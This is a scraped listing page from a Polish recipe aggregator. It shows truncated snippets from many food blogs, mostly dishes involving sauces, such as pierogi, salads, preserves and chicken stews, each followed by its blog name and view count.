Pierogi piemonckie nie są zwykłymi pierogami. Są to pierogi z żółtkiem, które rozpływa się na talerzu po rozcięciu pieroga tworząc wraz z farszem niesamowicie aksamitny sos do pieroga. We Włoszech nazywa się je agnolotti piemontesi . Delikatny farsz z ricotty i szpinaku z palonym masłem z dodatkiem rozmarynu o orzechowym posmaku łączy się z kremowym żółtkiem tworząc na talerzu coś, czego

Pociąg Do Kuchni
Grilled cheese – tosty amerykańskie 217

roztapiać. Ostrożnie przewracamy całość na drugą stronę i rumieni tosty z drugiej strony. Grilled cheese – tosty amerykańskie podajemy natychmiast, pokrojone w trójkąty, z keczupem lub innym ulubionym sosem. Podobne przepisy Jajcarskie tosty – tosty z jajkiem .yuzo_related_post img{width:180px !important; height:170px !important;} .yuzo_related_post .relatedthumb{line-height:16px;background: !important;color:!important;} .yuzo_related_post

Pociąg Do Kuchni
TYDZIEŃ KUCHNI AZJATYCKIEJ: POTRAWKA Z KURCZAKA Z MAKARONEM I WARZYWAMI 244

różnorodność przypraw oraz oryginalność połączeń smakowych dzięki którym każde danie to kulinarna podróż w nieznane.Od 3 sierpnia w sieci sklepów Lidl znajdziemy bogaty asortyment kuchni Azjatyckiej: mleczka kokosowe, sosy, makarony, pasty, oleje azjatyckie czy przepyszne chlebki naan. Wybierzmy się na zakupy by potem w swojej kuchni wyczarować coś pysznego i zachwycić swoich domowników smakami Dalekiego Wschodu. Pochwalę się Wam jaką

Z Majeczką w kuchni
Tabbouleh po mojemu, czyli biała kasza gryczana z kiszoną cytryną 187

wyjdzie mi to na zdrowie. Kiedyś mój obiad wyglądał tak: kawałek mięsa, ziemniaki, surówka. Wstawałam pełna, ociężała, a po chwili robiłam się senna. Zwłaszcza jak do mięsa był sos... Teraz mięsa jadamy coraz mniej, a jak już jest, to najczęściej zgrillowane. Do tego kasze z ziołami, warzywami, oliwą z oliwek lub pestek winogron. I koniecznie kiszona cytryna :) Po takim obiedzie

Codzienna kuchnia niecodzienna
Pasztet z cukinii i soczewicy 227

wyraźny, ostry smak. Jadłam go dzisiaj na śniadanie – schłodzony, bez dodatków – nic więcej nie było potrzebne. Ale docelowo dzisiaj zastąpi też mięso podczas obiadu – oczywiście podany na ciepło z sosem i ziemniaczkami. Pasztet nie jest gładki i jednolity, ale taki był mój zamiar :) Aaaa… na dnie keksówki ułożyłam podgotowaną fasolkę szparagową – taką miałam fantazję – ale nie jest niezbędna :) Składniki

Trzeci talerz
PODUDZIA Z KURCZAKA Z GRZANKAMI Z DIPEM PAPRYKOWYM - GRILL 225

marynacie cytrusowej marynowane, na złoty kolor grillowane, podane z grzankami czosnkowymi z dodatkiem dipu paprykowego zaskoczą smakiem każdego.  Składniki: 8 podudzi z kurczaka, marynata cytrusowa: 3 łyżki sosu sojowego jasnego, 1 łyżka brązowego cukru, sok z ½ cytryny, sok z ½ pomarańczy, 1/2 szklanki oleju rzepakowego, 2 ząbki czosnku, 1 łyżeczka posiekanego świeżego majeranku, grzanki: 4 kromki bułek pszennych, 2 ząbki

Moniki Smakołyki
Chlebek pita z kurczakiem 401

Wpis pochodzi z www.mgotuje.pl Pita to okrągłe, cieniutkie placki pszenne. Możemy nadziać je ulubionymi składnikami. Ja takie chlebki zrobiłam z warzywami i kurczakiem w sosie musztardowym. Powiem wam jedno – rewelacja! Smakują tak pysznie, że nie można się od nich oderwać Chlebki upiekłam na kamieniu do pizzy od podstawki.pl , o którym

Marta Gotuje
Ogórki tzatzyki – zimowe przetwory 6236

sztucznie pędzone ogórasy , a dodatkowo oszczędza nasz cenny jak zawsze czas. Wystarczy tylko odkręcić pokrywkę , zlać sok i dodać łyżkę , albo dwie gęstego jogurtu , najlepiej greckiego ..i to wszystko sos gotowy . Wyraźnie czosnkowy , wystarczająco pikantny , no można sypnąć ciut pieprzu jeśli ktoś lubi , pasuje do wszystkiego Składniki na około 2 szt , 250 ml słoiczków : 6 ogórków gruntowych, średniej wielkości

Ogrodnik w podróży
Dietetyczna kapusta z kurczakiem 434

przykryciem, co jakiś czas mieszając. Po tym czasie dodać pomidory z puszki, spróbować i w razie konieczności doprawić. Gotować bez przykrycia do czasu aż kapusta będzie bardzo miękka a sos nieco się zagęści. Co jakiś czas mieszać. Podawać np. z pieczywem ale dobrze smakuje też bez dodatków

Bullio
fasolka szparagowa zapiekana z boczkiem 215

zredukuje. Następnie ściągamy z ognia, dodajemy pokrojony w kotkę ser, mieszamy i doprawiamy solą i pieprzem. Kromki chleba kruszymy i blendujemy z roztopionym masłem. Ugotowaną fasolkę mieszamy z powstałym sosem, przekładamy do natłuszczonego naczynia żaroodpornego posypujemy okruszkami. Całość zapiekamy w 180 st. C przez

Domowy Smak Jedzenia
Sałatka z pieczonym łososiem, pomidorami i czerwoną cebulą 242

łyżki oliwy z oliwek połączyć z 1 łyżką soku z cytryny. Do sałaty dodać pomidory, cebulę i pokrojonego na mniejsze kawałki łososia. Na sam koniec sałatkę polać przygotowanym sosem i posypać świeżym koperkiem

Ugotować
Pierogi z jagodami 228

Składniki: 50 dag mąki pszennej 300 ml ciepłej przegotowanej wody 1 łyżka oleju Farsz:  1 litr jagód 10 dag cukru Sos: gęsty jogurt (grecki) lub śmietana 18% cukier puder do smaku Sposób wykonania: Jagody delikatnie płuczemy na sitku. Gdy przeschną oprószamy je cukrem. Mąkę przesiewamy, dodajemy do niej wodę, olej i sól. Zagniatamy miękkie, sprężyste ciasto, które nie powinno

Qchnia po prostu
Mule w sosie z białego wina 189

otworzą dodajemy masło i posiekaną natkę pietruszki. Mieszamy i możemy serwować. Mule najlepiej smakują bezpośrednio z garnka skropione sokiem z cytryny. Jako dodatek polecam chrupiące pieczywo, które moczymy w sosie. Smacznego

kulinarnyJa
Plastry cukinii w oliwie, z czosnkiem i chili do słoików 181

długości ok 25-30 cm, (wyszły mi dwa słoiczki po 180 ml ) Zalewa: 3/4 szklanki oliwy z oliwek z pierwszego tłoczenia 2 płaskie łyżeczki pikantnej pasty paprykowej lub sosu chili 1/4 łyżeczki soli  sok z 1/4 cytryny 5 ząbków czosnku, czosnek Polski intensywny i mocny, a nie Chińska podróbka 1. Cukinię myjemy, osuszamy i kroimy w cienkie plastry

Apetyczna babeczka
Naleśniki gryczane z brokułami w sosie serowym 123

przygotujemy je z zdrowszych wariantów standardowych składników. Ja do moich wykorzystałam mąkę gryczaną i mleko owsiane. Tak przygotowane ciasto aż prosi się o wyraziste, warzywne nadzienie. Brokuły i serowy sos idealnie spełniły to zadanie. Wyszło naprawdę pysznie

Milion Smaków
Domowy ketchup z pomidorów - przepis 301

Szał przetworów nadal trwa. Robiłyśmy już ketchup z cukinii , tym razem przepis na klasyczny domowy ketchup z pomidorów. Choć bardziej wychodzi chyba sos pomidorowy, który można z powodzeniem wykorzystać i do kanapek, i do grilla, i do pizzy czy do zapiekanek (po dodaniu odpowiednich ziół i przypraw). Ketchup jest wersji pikantnej z dodatkiem papryczek jalapeno. Jak ktoś woli wersję łagodną

Pyza i Surówka
Placki rybno – ziemniaczane 224

który nie jest miłośnikiem ryb , był nimi zachwycony . Są delikatne , chrupiące i syte . Doskonale sprawdzą się jako danie główne lub niewielka przystawka , a jeśli jeszcze podać do nich jakiś sos jogurtowy czy tysiąca wysp , to juz po prostu rozpusta . Składniki : 0,3 kg dorsza lub innej białej ryby 1 łyżka masła 6 średnich ziemniaków 1 jajko 2 łyżki mąki pszennej

Ogrodnik w podróży
Duszone udka z kurczaka w słodkim sosie 219

przyprawić ostrą papryką oraz bazylią. Na sam koniec dodać listek laurowy. Całość dusić pod przykryciem około 20-25 minut (pokrywka może być delikatnie odkryta). Mięso musi być miękkie, a sos powinien się zredukować. Przygotowane mięso podawać z młodymi ziemniaki i ulubioną surówką.  * dla każdej osoby 2 kawałki mięsa Pomysł na przepis ze strony kotlet.tv

Ugotować
Schabowy w bramborach 227

już ładnie się zrumieni powinien być na tyle sztywny i chrupiący , że już bez trudu da się go obrócić na drugą stronę . Podajemy na gorąco z dowolną sałatką lub sosem . Pychota   Post Schabowy w bramborach pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Zapiekany kalafior z ziemniakami 193

solą i papryką. Przy pomocy blendera zamieniamy w jednolitą masę. Kroimy cebulę. Kiedy ziemniaki i kalafior będą prawie gotowe odcedzamy kalafiora i układamy na ziemniakach w naczyniu żaroodpornym. Polewamy sosem z tofu. Posypujemy pokrojoną cebulą. Pieczemy wszystko przez

Weganka gotuje
Klopsiki z pieczarek i kapusty kiszonej 159

formujemy kulki i obtaczamy je w pozostałej bułce tartej. Jedna łyżka masy = jedna kulka. Kulki smażymy aż będą rumiane. Opcja podania: kasza żytnia (1/2 szklanki kaszy, 1 szklanka wody) sos pomidorowy (1/2 szklanki domowej roboty przecieru z pomidorów + bazylia

Weganka gotuje
Ziemniaczany zawijaniec 265

kapusty. Jeśli zajdzie tka potrzeba spinamy przy pomocy wykałaczek. Zawijaniec układamy na polanej olejem brytfance. Dolewamy 1/4 szklanki wody. Pieczemy przez 30 min.  Propozycja podania: Najlepiej z jakimś sosem. Ja użyłam domowej roboty przecieru z pomidorów z bazylią

Weganka gotuje
"Spaghetti" z bakłażana 196

trakcie smażenia dodajemy wyciśnięty czosnek, oliwki oraz sól. Pomidory parzymy we wrzątku i zdejmujemy z nich skórkę. Następnie kroimy je w drobną kostkę. Smażymy aż zamienią się w sos. Dodajemy bazylię. Na talerz wykładamy najpierw bakłażana, następnie pomidory, a na koniec pieczarki i oliwki

Weganka gotuje
Kotlety z groszku, szparagów i jabłuszek kaparowych 151

masy dodajemy szklankę mąki kukurydzianej. Mieszamy. Formujemy kotlety i obtaczamy je w sezamie.  Smażymy na rozgrzanym oleju lub oliwie, aż sezam się zarumieni. Propozycja podania: pieczone ziemniaki sałatka sos słonecznikowo-pieczarkowy

Weganka gotuje
Ryż z soczewicą 230

soczewice. zalewamy 1/2 szklanki wody. Dusimy pod przykryciem aż soczewica wchłonie wodę i będzie miękka. Podczas duszenia dodajemy przyprawy: sól i garam masala.  Ryż wykładamy na talerz. Dodajemy sos z warzyw i soczewicy

Weganka gotuje
Sałatka z tuńczykiem i krążkami cebulowymi 304

Czas przygotowania: 15 min. Porcja dla 2 osób Koszt przygotowania: 12,00 zł SKŁADNIKI: 1 puszka tuńczyka w sosie własnym 200 g mixu sałat z rukolą 1/2 papryki czerwonej 8 pomidorków koktajlowych 1/2 ogórka 1 cebula czerwona 1 cytryna 80 ml oliwy z oliwek 1 łyżką mąki sól, pieprz PRZYGOTOWANIE: Cebulę kroimy na półcentymetrowe plastry, rozdzielamy krążki i obsypujemy mąką

kulinarnyJa
Młoda kapusta - dodatek do obiadu 199

pomagały żadne tłumaczenia, że to nie kapusta, tylko sałata, że naprawdę warto spróbować… Na chwilę obecną tak nam zostało. Franek nie tknie sałaty, a Hania pomidora, choć sos pomidorowy albo zupę pomidorową oboje lubią bardzo. Młoda kapusta na ciepło to zupełnie inna bajka. Jedzą oboje bardzo chętnie i często pytają o jeszcze. Nie przeszkadza im dodatek kminku, a dodaję

bistro mama
Sałatka z kurczaka, cukinii i czerwonego ryżu 349

połączenia. Odmierzamy sobie ok. 4-5 łyżek oliwy. Dolewamy bardzo cieniutką strużką oliwę do musztardy i octu jednocześnie energicznie mieszając. Otrzymamy gęstą emulsję. Przyprawiamy solą i pieprzem. Dodajemy sos do sałatki i mieszamy. Sałatka z kurczaka, cukinii i czerwonego ryżu jest smaczna zarówno na ciepło, jak i na zimno. Post Sałatka z kurczaka, cukinii i czerwonego ryżu pochodzi z bloga

Poezja smaku
Panierowane skrzydełka i surówka z kalarepą 214

obiad to smażone, lekko pikantne skrzydełka w panierce i surówka z kalarepy, marchwi i sałaty. Składniki: Skrzydełka: 8 skrzydełek z kurczaka Marynata 3 łyżki octu balsamicznego 4 łyżki ciemnego sosu sojowego sól, pieprz czosnek niedźwiedzi papryka ostra chili w proszku Panierka 4 łyżki mąki krupczatki 4 łyżki maki pszennej 4 łyżki mąki kukurydzianej olej do smażenia   Surówka: mała kalarepa

e-PrzepisyKulinarne
Przetwory domowe: leczo do słoików na zimę 226

Najpierw w garnku rozpuszczamy masło i wrzucamy cebulę pokrojoną w piórka. Gdy cebula nam się zeszkli dodajemy pomidory obrane ze skórki i pokrojone w kostkę. Wszystko razem dusimy aż sos pomidorowy trochę zgęstnieje. Cukinię myjemy, kroimy w kostkę i dorzucamy do pomidorów. Gdy cukinia jest na wpół twarda dodajemy paprykę (paprykę czyścimy z nasion, myjemy i kroimy na paseczki

Kuchenne Wariacje
PLACEK JAGODOWY 164

także minerały: selen, cynk, miedź, potas, fosfor i wapń. Owoce te najlepiej jeść na surowo, sprawdzają się również jako dodatek do ciast i deserów. Przyrządza się z nich zupy, sosy, kompoty, soki, dżemy, konfitury. Bardzo często dekorujemy nimi  lody, babeczki, gofry, naleśniki, wykorzystujmy je również do nadziewania pierogów i bułeczek drożdżowych. Jagody można mrozić lub zawekować. Składniki:  Ciasto

Ciastka - domowe słodkości
Makaron z kurkami 215

dwie garście orzechów laskowych pół małej, białe cebuli 200 ml śmietanki 18% (użyłam łaciatej) sól, pieprz, gałka muszkatołowa świeże oregano – konieczne! łyżka masła Stawiamy makaron i zabieramy się za sos. Orzechy drobno siekamy i prażymy je na suchej patelni aż zaczną pachnieć i łapać kolor. Tu przypominam, że kolor czarny nie jest kolorem pożądanym. Uprażone orzechy zsypujemy na talerz

ladykitchen
11 przepisów z owocami leśnymi 168

maślance Makaron z serem twarogowym Orzeźwiająca sałatka z arbuza z sałatą lodową i malinami Owsianka na mleku z bananem i malinami Semifreddo jagodowo-truskawkowe Truskawkowe semifreddo z jagodami i sosem owocowym podane z malinami Zapiekane owoce w różowym winie pod płatkami owsianymi

Moja smaczna kuchnia
Klops mięsny faszerowany kalafiorem 183

kalafiory w pełnia, a pomysły już się kończą? Klops z mielonego mięsa z farszem z kalafiora to nie tylko pomysł na smaczny obiad. Podany z salsą albo czosnkowym sosem jogurtowym jest też świetną zimną przystawką. Dzięki kapuście włoskiej, którą klops jest owinięty, danie prezentuje się na stole bardzo apetycznie. Składniki: 6 liści kapusty włoskiem obgotowanych w posolonej wodzie   Farsz

Trzeci talerz
Yorkshire pudding 265

smaku przypomina omlet lub naleśniki, z tą różnicą, że jest baaardzo puszysty w środku i chrupiący na zewnątrz. Brytyjczycy podają go jako dodatek do mięs lub pieczeni w sosie, ale rewelacyjnie smakuje też na słodko. Można go jeść zarówno na ciepło (i tę wersję polecam) jak i na zimno. Podobno najlepiej smakuje odgrzewany po 2 dniach, jednak nie było

My Culinary Art
Placuszki kukurydziane 161

Dobrze rozgrzewamy patelnię i wylewamy porcję ciasta o średnicy ok. 5 cm, tak by powstały placuszki. Smażymy z obu stron na złoty kolor. Podajemy z ulubionym dżemem, konfiturą lub sosem owocowym lub czekoladowym (u mnie prawdziwy miód

psgotujemy
Sałatka szpinakowa z tortellini 259

opakowanie świeżego szpinaku baby 1 opakownie pomidorków koktajlowych Tortellini ugotować wg przepisu na opakowaniu. Lekko przestudzić.  Wymieszać w dużej misce ze szpinakiem i pomidorkami przekrojonymi na pół.  sos 2 łyżki zielonego pesto 2 łyżki soku z cytryny 3 łyżki jogurtu naturalnego 2 ząbki czosnku sól i pieprz Wszystkie składniki wymieszać dokładnie w kubeczku dodając przeciśnięty przez praskę czosnek

Kuchnia Ellie
Stripsy z kurczaka 297

tłuszczu podczas smażenia. 5. Gotowe stripsy powinny być mięciutkie i soczyste w środku i mieć chrupiącą panierkę. 6. Podawać wedle smaku z frytkami lub pieczonymi ziemniakami, surówką i sosem, np. czosnkowym . Smacznego!!! Źródło: Przy kuchennym stole

Kuchnia domowa Ani
Kotlety ziemniaczano ryżowe 231

rumiano z obu stron. Kotlety dosmażamy przez chwilę pod przykryciem. Gotowe odsączyć na papierowym ręczniku. Kotlety ziemniaczano ryżowe możemy podać jako zamiennik ziemniaków lub jako samodzielne danie – z sosem, czy też okraszone boczkiem z cebulką. Połączenie ziemniaków i ryżu jest bardzo trafione. Kotlety nie są ani suche, ani też się nie rozpadają. Można sobie skomponować samemu dodatki, np. pieczarki

mojewypiekiinietylko
Żeberka na dziko z cebulą i czosnkiem 251

bywa czasami jak mam kawał dobrego mięska i resztki w lodówce, trochę tego czy tamtego i po połączeniu wychodzi niesamowite danie. Tak też było tym razem, trochę takiego sosu, trochę innego a w rezultacie pyszny mix. Zapraszam do degustacji. Żeberka na dziko z cebulą i czosnkiem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka ryżowa z tuńczykiem 216

było. Sałatka zyskała na smaku i stała się bardziej kolorowa.  Składniki: (duża porcja dla 3 - 4 osób) 2 szklanki suchego ryżu basmati 2 puszki tuńczyka we własnym sosie (takie co najmniej po 170 g) 1 duża papryka czerwona 1 duża cebula 1/2 puszki kukurydzy konserwowej 1/2 średniego brokuła 1 - 2 ogórki kiszone 5 jajek 200 g sera żółtego

Kuchcik gotuje
Domowy przecier pomidorowy na zimę 255

budzi wiele paradoksów – w 1811 r., w niemieckim słowniku botanicznym o pomidorach napisano: „Choć pomidor jest uważany za roślinę trującą, w Portugalii i Czechach sporządza się z niej sosy, wyróżniające się przyjemnym, kwaskowatym smakiem”. Krajem, który zaryzykował jak o jeden z pierwszych, przełamać te opowieści była Rosja. Tam już od XV wieku uprawia się pomidory. W Polsce pojawiły się wraz

Bon Appetit Małgorzaty
Krewetki! 168

Pyszne i egzotyczne danie, krewetki z kuskusem i szpinakiem, podane z skarmelizowanymi gruszkami w sosie miodowo-cytrynowym. POMYSŁ NA SOBOTNI OBIAD! ZAPRASZAM! przepis TUTAJ

SMYKWKUCHNI
Biała kiełbasa z piekarnika 223

piekarniku nagrzanym do 180`C. Jeśli lubisz bardziej przypieczoną na ostatnie 10 minut włącz funkcję grilla podawaj z puree ziemniaczanym. Super smakuje sama, jesli lubisz podaj ją z sosem chrzanowym lub musztardowym (po przepis zapraszam  tutaj

Gotuj zdrowo!Guten Appetit!
Leśny deser na zimno 293

rozpuści. Mieszając co jakiś czas. Gorące przetrzeć przez sitko i mieszając wlać do nich żelatynę. Przestudzić, ale uważać, żeby całkiem nie zastygło. Mascarpone ubić razem z kremówką i wlewać sos malinowy. Na stężałą galaretkę z jagodami wylać odrobinę kremu malinowego. Ułożyć maliny i zalać pozostałym kremem. Powciskać biszkopty i zostawić do całkowitego stężenia. Przechowywać w lodówce. Smacznego :) Kategoria: Bez pieczenia

https:KKuchniaMniam
Naleśniki żytnie z nadzieniem kokosowym i jagodami 192

jedna strona będzie sucha, przewrócić i smażyć jeszcze chwilę. Jagody zmiksować na mus. Twarożek wymieszać z jogurtem i wiórkami. Na jeszcze ciepły naleśnik nałożyć nadzienie, złożyć na pół, polać sosem jagodowym i jogurtem naturalnym. Smacznego

Chocolate Muffin Blog
Łososiowe trio z rieslingiem 190

tygodnia/tygodni rieslinga, które odbywały się w całej Polsce. Przygotowaliśmy również: suma afrykańskiego z patelni z blanszowanym szpinakiem ze skórką cytrynową, kaszą perłową z orzeszkami ziemnymi i cytrynową oliwą, polany sosem z palonego masła, a do niego Riesling Spaetlese trocken, z winnicy Kerpen. Oraz deser - Rieslingowe trio: sorbet z wytrawnego Rieslinga z jagodami goji marynowanymi w rieslingu, podawany galaretką z rieslinga

królestwo garów
Tarta z owocami i twarożkiem (bez glutenu i bez cukru) 187

Masę wykładamy na podpieczony spód i pieczemy kolejne 20-30 minut (zależy od piekarnika). Gotowe ciasto odstawiamy do ostudzenia. Wystudzone dekorujemy owocami. Kakao mieszamy z syropem klonowym i gotowym sosem polewamy ciasto. Smacznego :) Artykuł Tarta z owocami i twarożkiem (bez glutenu i bez cukru) pochodzi z serwisu Mienta blog

Mienta blog
Łososiowe trio z rieslingiem 183

tygodnia/tygodni rieslinga, które odbywały się w całej Polsce. Przygotowaliśmy również: suma afrykańskiego z patelni z blanszowanym szpinakiem ze skórką cytrynową, kaszą perłową z orzeszkami ziemnymi i cytrynową oliwą, polany sosem z palonego masła, a do niego Riesling Spaetlese trocken, z winnicy Kerpen. Oraz deser - Rieslingowe trio: sorbet z wytrawnego Rieslinga z jagodami goji marynowanymi w rieslingu, podawany galaretką z rieslinga

królestwo garów
Ogórki w pomidorowym sosie 166

nimi zrobić..parę dni temu robiłam kwaszone  ..przydadzą się na zimę do sałatek i nie tylko..W oko wpadł mi przepis na sałatkę z ogórków w pomidorowym sosie i postanowiłam spróbować..i nie żałuję..jeden słoiczek się nie zawekował i prawie cały zjadła..pomysł na taką sałatkę znalazłam  tutaj .polecam ..spróbujcie.. 3 kg ogórków

Moje domowe kucharzenie
Kabaczek panierowany 230

jajku i ponownie w bułce. Smażyć na wolnym ogniu na rumiany kolor z dwóch stron. Kabaczek po usmażeniu musi być miękki. Można podawać z ketchupem lub innym ulubionym pikantnym sosem kabaczek panierowany

O kuchni z uczuciem
Bitki wołowe 185

Bitki wołowe każdy z nas nazywa to inaczej, czasem po prostu mięso wołowe lub kotlety wołowe. Nigdy nie zastanawiałam się nad ich nazwą ale ostatnio słowo

Magiczny Garnek
Karkówka z grilla 244

godziny do lodówki.  Grilluję karkówkę z każdej ze stron pilnując, aby się zbyt mocno nie przypiekła. Podaj ę z sałatką z pomidorów, cebuli i sałaty oraz z sosem pomidorowym

Kuchnia co dnia
Kurczak curry z ryżem 1811

marynatą oraz posiekany ząbek czosnku. Wszystko razem podsmażam ciągle mieszając. Dodaję również morelę i smażę do miękkości. Ugotowany ryż przekładam na talerz i na to nakładam kurczaka w sosie

Kuchnia co dnia
Kurczak Tikka Masala 209

mały jogurt naturalny - 1 łyżka oliwy z oliwek - 1 łyżeczka cynamonu - 1 łyżeczka mielonej ostrej papryki - 1 łyżeczka mielonego imbiru - 1 łyżeczka kuminu - 1/2 łyżeczki mieszanki przypraw garam masala sos: - pomidory bez skórki w puszce - 2 ząbki czosnku - 1 łyżeczka mielonej ostrej papryki - 1 łyżeczka mielonej słodkiej papryki - 1 łyżeczka kuminu - 1/2 łyżeczki mieszanki przypraw garam masala - 1 łyżeczka cukru

Kuchnia co dnia
Pizza wiejska na grubym cieście 225

Układam na blasze obsypanej mąką. Ciasto smaruję ketchupem. Układam na to ser i resztę pokrojonych dodatków. Temperatura piekarnika : 190 °C Czas pieczenia: około 40 minut Można podać z domowym sosem czosnkowym

Kuchnia co dnia
Potrawka z kurczaka z ryżem 281

Przykrywam pokrywką. Gotuję na małym ogniu aż mięso zacznie odchodzić od kości. Wtedy wyciągam je i studzę. Usuwam kości, a kurczaka dzielę na mniejsze części. Dodaję z powrotem do sosu, który zagotowuję, ewentualnie doprawiam do smaku. Odstawiam z ognia i dodaję śmietanę, dokładnie mieszam. Tak przygotowaną potrawkę podaję z ugotowanym białym ryżem

Kuchnia co dnia
Gulasz z serc drobiowych 195

Gulasz z serc drobiowych z ziemniakami i z surówką z marchewki i jabłka Składniki: sos: - serca drobiowe (u mnie indycze) - cebula - mąka pszenna - pieprz czarny mielony - 2-3 ziarka ziela angielskiego - 2 liście laurowe - sól - olej rzepakowy do smażenia ziemniaki: - gotowane ziemniaki - mleko - koper suszony surówka: - 2-3 marchewki - jabłko - 2-3 łyżki oleju arachidowego - sól Przygotowanie: Serca dokładnie płuczę

Kuchnia co dnia
Pierogi z soczewicą i pesto 187

Przygotowanie: 1. Zagnieć ciasto, rozwałkuj. 2. Wytnij kółka. P ołóż farsz. Zlep brzegi. 4. Gotuj w osolonej wodzie 2 -3 minuty po wypłynięciu pierogów na wierzch. 5. Podawaj z sosem pesto lub olejem z pestek dyni

AZgotuj!
Lekka wegetariańska sałatka z tofu po chińsku 175

Składniki: opakowanie tofu naturalnego 2 pomidory szczypiorek piórka pora opakowanie makaronu sojowego lub  ryżowego Dressing: 2 łyżki sosu sojowego 1 łyżka octu ryżowego mały kawałek świeżego startego imbiru ok  łyżeczki kilka kropel oleju sezamowego szczypta cukru Przygotowanie: 1. Tofu pokrój w 1 cm plastry, usmaż na oleju. Odsącz na papierowym ręczniczku. 2. W miseczce przygotuj

AZgotuj!
Bezglutenowe gryczano- migdałowe placuszki z wiśniami i amaretto 182

alkohol odparuje. 3. Placuszki smaż na ceramicznej patelni bez tłuszczu . 4. Po upieczeniu pozwól aby ostygły. 5. Połóż na półmisek rozłóż wiśnie i skąp talerz w wiśniowo- amatettowym sosie. Podawaj gorące wiśnie  z kulką lodów śmietankowych. Pycha

AZgotuj!
Gołąbki z kaszą gryczaną i kurkami w sosie pomidorowo -bazyliowym 189

gołąbki w rondlu, zalej szklanka bulionu, gotuj ok 30- 40  minut. Dodaj pomidorową pulpę, popieprz, posól, posyp majerankiem lub bazylią. Gotuj kolejne 15 minut. Ja zagęszczam sos zasmażką, ale jeśli ma być dietetycznie to nie trzeba

AZgotuj!
"Crema di zucca" Krem z dyni z razowym makaronem, kosteczkami prazonego bakłazana i parmezanem 200

Krem z dyni a raczej sos do makaronu. Składniki: makaron razowy średnia lub pół dyni 3 łyżki oleju średniej wielkości por (biała część) natka pietruszki ser parmezan sól pieprz 1 łyżka octu winnego pół bakłażana 0,5 litra mleka Przygotowanie: 1. Pora pokrój drobno i zacznij dusić na łyżce oleju. Dadaj pokrojone w kostki

AZgotuj!
Sałata szopska 381

łyżki oleju sól cebula posiekana natka pietruszki do smaku Pomidory i ogórka pokrój w dużą kostkę, cebulę w krążki, paprykę w paski, wrzuć do misy, zrób sos z oleju i octu winnego, zalej. Posyp suto serem i natką. Podawaj z rakiją

AZgotuj!
Kapusta faszerowana gołąbki bez mięsa 224

kapusty. Na dno rondla połóż liście kapusty. Układaj gołąbki, zalej gorącym bulionem na do połowy wysokości gołąbka. Gotuj ok 45 minut. Zrób sos maślany. Ja podałam z rybą gotowana w papierze

AZgotuj!
Szczupak polska ryba na talerzu 163

cebulkę pokrojoną w kostkę. Wymieszaj razem. Gałkownicą do lodów nakładaj pure na podłużny talerz na środku. Zgriluj szczupaka klika minut z każdej strony. Awokado pokrój na fileciki i polej sosem z oliwy, octu, soli, kaparów i łyżki miody, oraz drobno pokrojonych filecików anchois

AZgotuj!
Panna cotta z mleczka kokosowego z granatem 124

lekka za płynny. Do mleczka dodałam 3 płatki żelatyny  Dlatego do wykonania proponuję dać 4 płatki. Wtedy można będzie wyjąć na talerz i polać sosem z granatu przygotowanego z soku i odparowanego kilka minut do gęstej konsystencji

AZgotuj!
Faszerowana papryka fetą i ryżem w pomidorach 150

oczyść środki. Faszeruj. Wykałaczkami zepnij końcówki. W dużym płaskim rondlu rozgrzej odrobinę oliwy, dodaj pomidory i nasiona fenkułu. Połóż papryki aby dusiły się w sosie. Przykręcaj delikatnie, aby były miękkie kilka razy. Duś ok 20  -30 minut. Pod koniec ok 5 minut przed serwowaniem posyp oregano

AZgotuj!
Sałata z jajami przepiórki 210

zobaczyć. Wszystko zależy od Twojej wyobraźni. Sałatka lekka jak piórko na wielkanocny stół. Dopełnienie. Opakowanie szpinaku baby  opakowanie pomidorków truskawkowych 7 jaj przepiórki na twardo Sos: oliwa z oliwek ząbek czosnku sok z cytryny sól i pieprz ocet winny

AZgotuj!
Łosoś w galarecie z żurawiny 167

inaczej. Tu filet jest upieczony. W nowej, lepszej wersji ugotuję go w bulionie. A ugotowane owoce żurawin przetrę przez sito.  Do tego obowiązkowo chrzan. Sos chrzanowy. Choć przyznam, że zjadłam dziś kawałek na lunch z octem balsamicznym. Jednak wybrałabym chrzan. filet z łososia świeży, taki aby zmieścił się do formy keksowej opakowanie żurawiny mrożonej

AZgotuj!
Roladki z bakłażana w pomidorach 156

roladkę i zepnij wykałaczką. W naczyniu żaroodpornym umieść pomidory, dodaj czosnek, trochę oliwy, łyżeczkę koncentratu, papryczkę chilli i wino. Całość wymieszaj. Włóż do naczynia roladki i lekko je polej sosem pomidorowym i posyp bazylią. Zapiekaj ok 60 minut w 190 stopniach. Podawaj z pieczywem

AZgotuj!
Wiosenna sałata w talerzykach z tortilli 163

pomidorki koktajlowe, cebulę pokrojoną w krążki, odcedzone szparagi, pieczarki, porwaną mozzarellę  Całość wymieszaj i napełniaj miseczki tortilli. Z oliwy z oliwek , soku z cytryny i skórki zrób sos winegret. Posól go i popieprz. Podawaj w osobnym naczyniu, aby każdy mógł polać sobie bezpośrednio przed jedzeniem

AZgotuj!
Pizza verde 187

Zamiast sosu pomidorowego smaruję ciasto pizzy pesto. Pizza jest wspaniale aromatyczna.  pęczek zielonych blanszowanych szparag cukinia pokrojona w luźne kawałki pomidorki koktajlowe mozzarella light rukola do posypania na wierzchu po upieczeniu płatki parmezanu kilka łyżeczek pesto 2 szklanki mali pełnoziarnistej ( polecam Lubella) 3/4 szklanki ciepłej wody 20 dkg świeżych drożdży sól, cukier 2 łyżki oliwy z oliwek Wyrób ciasto

AZgotuj!
Papryka faszerowana kaszą bulgur 178

Tego obiadu dzisiaj miało nie być. Miał być makaron z sosem z pieczarkami. Ale wcale nie żałuję.  2 papryki zielone  1 żółta szklanka bulionu 3/4 szklanki kaszy bulgur marchewka pokrojona w kostkę 2 ząbki czosnku 1 cebula pół łyżeczki kminku  2 łyżki oleju pół łyżeczki mielonego ziela angielskiego pół puszki pomidorów ( pulpa) sól pieprz cayenne ( według upodobania

AZgotuj!
Fasolka szparagowa w pomidorach na ostro 153

oliwy puszka pomidorów Fasolki ugotuj al dente. Na patelni rozgrzej olej i dodaj chilli, następnie rozgnieciony czosnek i pomidory, sól. Duś ok 20 minut bez przykrycia. Dodaj fasolkę niech sos ją oblepi. Posyp natką pietruszki

AZgotuj!
Bezglutenowe biszkoptowe gryczane babeczki z figą bez tłuszczu 189

